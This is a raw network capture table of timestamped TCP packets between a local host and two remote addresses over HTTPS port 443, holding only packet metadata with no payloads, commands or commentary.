Oct 7, 2024 07:14:57.131036997 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.131113052 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.131123066 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.131206989 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.131268024 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.131275892 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.131402969 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.131491899 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.131542921 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.131552935 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.131974936 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.132020950 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.132030010 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.132143021 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.132250071 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.132297039 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.132306099 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.132884979 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.132932901 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.132941008 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.133035898 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.133126020 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.133172035 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.133181095 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.133274078 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.133755922 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.133802891 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.133812904 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.156429052 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.156532049 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.156613111 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.156618118 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.156655073 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.156703949 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.177707911 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.177870035 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.221293926 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.221370935 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.221430063 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.221441984 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.221683979 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.221781015 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.221812010 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.221820116 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.221829891 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.222477913 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.222522974 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.222534895 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.223603010 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.223614931 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.223643064 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.223656893 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.223665953 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.223710060 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.223741055 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.225447893 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.225476980 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.225509882 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.225518942 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.225532055 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.247776985 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.247852087 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.247870922 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.247889996 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.247905016 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.247929096 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.250452995 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.250581980 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.312797070 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.312870026 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.312870979 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.312897921 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.312922001 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.313796043 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.313852072 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.313869953 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.313894033 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.313922882 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.314702034 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.314758062 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.314766884 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.314804077 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.314821959 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.315807104 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.315817118 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.315859079 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.315881014 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.315937042 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.315993071 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.316001892 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.316097975 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.317027092 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.317104101 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.317121983 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.317193031 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.317686081 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.317744017 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.317756891 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.317787886 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.317811012 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.318943024 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.337872982 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.337948084 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.337956905 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.337979078 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.338006973 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.340411901 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.403413057 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.403490067 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.403507948 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.403575897 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.404299021 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.404366016 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.404366970 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.404396057 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.404412985 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.404958963 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.405023098 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.405034065 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.405059099 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.405091047 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.405699968 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.405754089 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.405771017 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.405788898 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.405838966 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.405847073 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.408035994 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.408114910 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.408132076 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.408178091 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.417643070 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.417654037 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.417665958 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.417678118 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.417727947 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.417736053 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.417748928 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.417779922 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.418698072 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.481903076 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.481975079 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.481982946 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.482009888 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.482032061 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.482808113 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.493971109 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.493993998 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.494050026 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.494080067 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.494802952 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.494828939 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.494848013 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.494860888 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.494873047 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.495517969 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.495537996 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.495563030 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.495574951 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.495588064 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.495678902 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.495721102 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.495723009 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.495745897 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.495775938 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.496524096 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.496546030 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.496571064 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.496577978 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.496589899 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.496824980 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.497504950 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.497529984 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.497550011 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.497556925 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.497570992 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.498188972 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.498207092 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.498231888 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.498240948 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.498253107 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.502928972 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.526631117 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.526657104 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.526711941 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:57.526729107 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.566621065 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.566647053 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.566693068 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.566715002 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.566729069 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.566777945 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.567087889 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.567145109 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:57.567154884 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.567311049 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.567478895 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:57.567536116 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:57.567567110 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.567584038 CEST	49172	443	192.168.2.22	14.194.50.211
Oct 7, 2024 07:14:57.567590952 CEST	443	49172	14.194.50.211	192.168.2.22
Oct 7, 2024 07:14:57.584234953 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.584256887 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.584294081 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.584306955 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.584322929 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.584337950 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.584845066 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.584867954 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.584902048 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.584909916 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.584923029 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.585745096 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.585762024 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.585798025 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.585808039 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.585819006 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.585853100 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.586630106 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.586653948 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.586694956 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.586704016 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.586723089 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.586781979 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.587280989 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.587299109 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.587347984 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.587354898 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.587367058 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.587380886 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.588386059 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.588407040 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.588438988 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.588449001 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.588459969 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.588680029 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.588696957 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.588733912 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.588742018 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.588752985 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.588777065 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.657327890 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.657356977 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.657429934 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.657429934 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.657453060 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.657665014 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.674884081 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.674910069 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.674947977 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.674959898 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.674972057 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.675014019 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.675734043 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.675761938 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.675782919 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.675796986 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.675806999 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.675817013 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.675839901 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.676624060 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.676645994 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.676680088 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.676688910 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.676698923 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.677023888 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.677051067 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.677077055 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.677086115 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.677098989 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.677128077 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.677855015 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.677911997 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.677921057 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.677949905 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.677972078 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.678772926 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.678832054 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.678843021 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.678879023 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.678909063 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.679675102 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.679735899 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.679738045 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.679765940 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.679794073 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.747999907 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.748066902 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.748085976 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.748116016 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.748142958 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.765419006 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.765445948 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.765481949 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.765501976 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.765516043 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.765537977 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.766134024 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.766163111 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.766184092 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.766192913 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.766206026 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.766253948 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.766817093 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.766844988 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.766901016 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.766911030 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.766922951 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.766942978 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.767530918 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.767559052 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.767584085 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.767592907 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.767606020 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.767632961 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.767785072 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.767803907 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.767828941 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.767836094 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.767848969 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.767873049 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.768619061 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.768646955 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.768668890 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.768677950 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.768692017 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.768726110 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.769320965 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.769342899 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.769375086 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.769382954 CEST	443	49171	185.199.108.133	192.168.2.22
Oct 7, 2024 07:14:57.769395113 CEST	49171	443	192.168.2.22	185.199.108.133
Oct 7, 2024 07:14:57.769431114 CEST	49171	443	192.168.2.22	185.199.108.133
